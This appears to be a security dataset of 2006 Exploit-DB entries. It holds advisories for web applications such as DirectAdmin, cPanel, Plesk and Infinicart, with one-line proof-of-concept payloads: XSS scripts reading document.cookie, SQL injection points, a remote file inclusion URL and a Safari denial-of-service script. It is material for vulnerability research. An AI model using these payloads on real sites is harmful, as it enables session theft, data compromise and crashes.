QLWD/code_shield huggingface dataset:
标题: Car Site Manager - '/csm/asp/listings.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29016 CVE: 2006-5944 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21066/info
  
Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/csm/asp/listings.asp?s=%3C%2Ftextarea%3E%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/29016
标题: Inventory Manager - Multiple Input Validation Vulnerabilities EDB-ID: 29024 CVE: 2006-5943 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21069/info

Inventory Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://site.com/inventory/inventory/display/imager.asp?pictable='[sql]
http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory]&picfield=[sql]
http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory &picfield=photo&where='[sql] URL: https://www.exploit-db.com/exploits/29024
标题: Car Site Manager - '/csm/asp/detail.asp?p' SQL Injection EDB-ID: 29015 CVE: 2006-5945 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21066/info
 
Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/csm/asp/detail.asp?l=&p='[sql] URL: https://www.exploit-db.com/exploits/29015
标题: Plesk 7.5/8.0 - 'login_up.php3' Cross-Site Scripting EDB-ID: 29018 CVE: 2006-6451 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21067/info
 
Plesk is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.
 
Plesk 8.0.1 and prior versions are vulnerable.

http://www.example.com:8443/login_up.php3/>"><ScRiPt>alert(15031988)</ScRiPt> URL: https://www.exploit-db.com/exploits/29018
标题: DMXReady Site Engine Manager 1.0 - 'index.asp' SQL Injection EDB-ID: 29012 CVE: 2006-7118 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21064/info

DMXReady Site Engine Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Site Engine Manager 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.asp?mid=[SQL Injection] URL: https://www.exploit-db.com/exploits/29012
标题: ASPIntranet 2.1 - 'default.asp' SQL Injection EDB-ID: 29011 CVE: 2006-5987 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21061/info

ASPIntranet is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.2 is vulnerable; other versions may also be affected.

http://www.example.com/default.asp?a=[SQL] URL: https://www.exploit-db.com/exploits/29011
标题: Mega Mall - 'product_review.php' Multiple SQL Injections EDB-ID: 29026 CVE: 2006-7170 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21072/info

Megamail is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://example.com/mega-mall/product_review.php?t=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=1004&sk=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=1004&t=0&x=[sql]
http://example.com/mega-mall/product_review.php?t=0&productId=1004&sk=USERID&so=[sql] URL: https://www.exploit-db.com/exploits/29026
标题: Plesk 7.5/8.0 - 'get_password.php' Cross-Site Scripting EDB-ID: 29017 CVE: 2006-6451 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21067/info

Plesk is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Plesk 8.0.1 and prior versions are vulnerable.

http://www.example.com:8443/get_password.php/>"><ScRiPt>alert(15031988)</ScRiPt> URL: https://www.exploit-db.com/exploits/29017
标题: Car Site Manager - '/csm/asp/listings.asp' Multiple SQL Injections EDB-ID: 29014 CVE: 2006-5945 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21066/info

Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/csm/asp/listings.asp?l='[sql]
http://www.example.com/csm/asp/listings.asp?s=search&typ='[sql]
http://www.example.com/csm/asp/listings.asp?s=search&typ=4&loc='[sql] URL: https://www.exploit-db.com/exploits/29014
标题: SiteXpress E-Commerce System - 'Dept.asp' SQL Injection EDB-ID: 29010 CVE: 2006-5936 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21059/info

SiteXpress E-Commerce System is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/dept.asp?id=[SQL] URL: https://www.exploit-db.com/exploits/29010
标题: FunkyASP Glossary 1.0 - 'Glossary.asp' SQL Injection EDB-ID: 29008 CVE: 2006-5946 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21055/info

FunkyASP Glossary is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/glossary/glossary.asp?alpha='[sql] URL: https://www.exploit-db.com/exploits/29008
标题: DirectAdmin 1.28/1.29 - 'CMD_TICKET' Cross-Site Scripting EDB-ID: 29003 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
    
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_TICKET?action=view&number=000000044&type=XSS URL: https://www.exploit-db.com/exploits/29003
标题: DirectAdmin 1.28/1.29 - 'CMD_EMAIL_FORWARDER_MODIFY' Cross-Site Scripting EDB-ID: 29002 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
   
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_EMAIL_FORWARDER_MODIFY?DOMAIN=demo.com&user=XSS URL: https://www.exploit-db.com/exploits/29002
标题: DirectAdmin 1.28/1.29 - 'CMD_FTP_SHOW' Cross-Site Scripting EDB-ID: 29006 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
       
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_FTP_SHOW?DOMAIN=demo.com&user=XSS URL: https://www.exploit-db.com/exploits/29006
标题: DirectAdmin 1.28/1.29 - 'CMD_TICKET_CREATE' Cross-Site Scripting EDB-ID: 29001 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
  
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_TICKET_CREATE?TYPE=XSS URL: https://www.exploit-db.com/exploits/29001
标题: DirectAdmin 1.28/1.29 - 'CMD_EMAIL_VACATION_MODIFY' Cross-Site Scripting EDB-ID: 29004 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
     
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_EMAIL_VACATION_MODIFY?DOMAIN=demo.com&user=XSS URL: https://www.exploit-db.com/exploits/29004
标题: INFINICART - 'browsesubcat.asp' Multiple SQL Injections EDB-ID: 28994 CVE: 2006-5957 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21043/info
     
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
     
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
     
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
     
http://www.example.com/infinicart-demo/browsesubcat.asp?catid=[sql]
http://www.example.com/infinicart-demo/browsesubcat.asp?catid=13&subid=[sql] URL: https://www.exploit-db.com/exploits/28994
标题: DirectAdmin 1.28/1.29 - 'CMD_EMAIL_LIST' Cross-Site Scripting EDB-ID: 29005 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
      
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_EMAIL_LIST?action=view&DOMAIN=demo.com&name=XSS URL: https://www.exploit-db.com/exploits/29005
标题: DirectAdmin 1.28/1.29 - 'CMD_SHOW_USER' Cross-Site Scripting EDB-ID: 29000 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info
 
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_SHOW_USER?user=XSS URL: https://www.exploit-db.com/exploits/29000
标题: DirectAdmin 1.28/1.29 - 'CMD_SHOW_RESELLER' Cross-Site Scripting EDB-ID: 28999 CVE: 2006-5983 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21049/info

DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_SHOW_RESELLER?userXSS URL: https://www.exploit-db.com/exploits/28999
标题: PHPdebug 1.1 - 'Debug_test.php' Remote File Inclusion EDB-ID: 28998 CVE: 2006-6581 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/21047/info

Phpdebug is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/phpdebug_PATH/test/debug_test.php?debugClassLocation=attacker's_script URL: https://www.exploit-db.com/exploits/28998
标题: Apple Safari 2.0.4 - JavaScript Regular Expression Match Remote Denial of Service EDB-ID: 29007 CVE: 2006-6015 类型: DOS 平台: OSX 发布日期: 2006-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/21053/info

Apple Safari web browser is prone to a denial-of-service vulnerability when executing certain JavaScript code.

An attacker can exploit this issue to crash an affected browser. Presumably, this issue may also result in remote code execution, but this has not been confirmed.

Apple Safari 2.0.4 is vulnerable to this issue; other versions may also be affected.

<script> var reg = /(.)*/; var z = 'Z'; while (z.length <= 8192) z+=z; var boum = reg.exec(z); </script> URL: https://www.exploit-db.com/exploits/29007
标题: INFINICART - 'search.asp?search' Cross-Site Scripting EDB-ID: 28989 CVE: 2006-5958 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21043/info

Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.

in /infinicart-demo/search.asp :
post the following search = &lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/28989
标题: INFINICART - 'sendpassword.asp?email' Cross-Site Scripting EDB-ID: 28990 CVE: 2006-5958 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21043/info
 
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
 
in /infinicart-demo/sendpassword.asp :
email= &lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/28990
标题: INFINICART - 'added_to_cart.asp?ProductID' SQL Injection EDB-ID: 28993 CVE: 2006-5957 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21043/info
    
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
    
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
    
http://www.example.com/infinicart-demo/added_to_cart.asp?productid=[sql] URL: https://www.exploit-db.com/exploits/28993
标题: INFINICART - 'login.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28991 CVE: 2006-5958 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21043/info
  
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
  
in /infinicart-demo/login.asp :

username ( go for 2 xss like :
&lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script>;&lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script> )
passwd ( same as username ) URL: https://www.exploit-db.com/exploits/28991
标题: cPanel 10 - 'seldir.html?dir' Cross-Site Scripting EDB-ID: 28982 CVE: 2006-5883 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21027/info

cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel version 10 is vulnerable; other versions may also be affected.

http://www.example.com/frontend/files/seldir.html?dir=[XSS] URL: https://www.exploit-db.com/exploits/28982
标题: cPanel 10 - 'newuser.html' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28983 CVE: 2006-5883 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21027/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
cPanel version 10 is vulnerable; other versions may also be affected.

http://www.example.com/frontend/htaccess/newuser.html?user=[XSS]&pass=&dir=A VALID FOLDER
http://www.example.com/frontend/htaccess/newuser.html?user=[XSS]&pass=&dir=[XSS] URL: https://www.exploit-db.com/exploits/28983
标题: IBM Websphere 6.0 - 'Faultactor' Cross-Site Scripting EDB-ID: 28981 CVE: 2006-2431 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21018/info

IBM WebSphere is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

WebSphere Application Server 6 is vulnerable; other versions may also be affected.

GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1 URL: https://www.exploit-db.com/exploits/28981
标题: INFINICART - 'browse_group.asp?groupid' SQL Injection EDB-ID: 28992 CVE: 2006-5957 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/21043/info
   
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
   
http://www.example.com/infinicart-demo/browse_group.asp?groupid=[sql] URL: https://www.exploit-db.com/exploits/28992